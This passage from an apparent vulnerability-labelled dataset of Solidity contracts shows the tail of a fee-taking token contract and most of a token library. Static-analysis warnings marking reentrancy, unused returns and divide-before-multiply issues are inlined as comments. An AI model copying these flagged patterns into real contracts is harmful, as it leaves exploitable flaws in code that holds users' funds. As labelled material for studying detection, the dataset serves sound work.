reentrancy-eth | ID: dfe0652\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: dfe0652\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e69261c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: dfe0652\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: dfe0652\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e69261c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e69261c\n\t\t// reentrancy-events | ID: 966b000\n\t\t// reentrancy-benign | ID: a21706c\n\t\t// reentrancy-eth | ID: dfe0652\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e69261c\n\t\t// reentrancy-events | ID: 966b000\n\t\t// reentrancy-eth | ID: dfe0652\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: df16f57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for df16f57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f600c87): $PICKLE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f600c87: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b2cd79): $PICKLE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0b2cd79: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b51d6ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b51d6ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: df16f57\n\t\t// reentrancy-eth | ID: b51d6ce\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: df16f57\n\t\t// unused-return | ID: f600c87\n\t\t// reentrancy-eth | ID: b51d6ce\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: df16f57\n\t\t// unused-return | ID: 0b2cd79\n\t\t// reentrancy-eth | ID: b51d6ce\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: df16f57\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b51d6ce\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10316.sol", "size_bytes": 19889, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 13db28a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 13db28a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cc6f30b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for cc6f30b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7c3b4d4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 7c3b4d4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a0e89a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4a0e89a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d4c9f7c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d4c9f7c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a12022): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4a12022: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2c69a2c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2c69a2c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ef5eabd): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ef5eabd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 8858285): 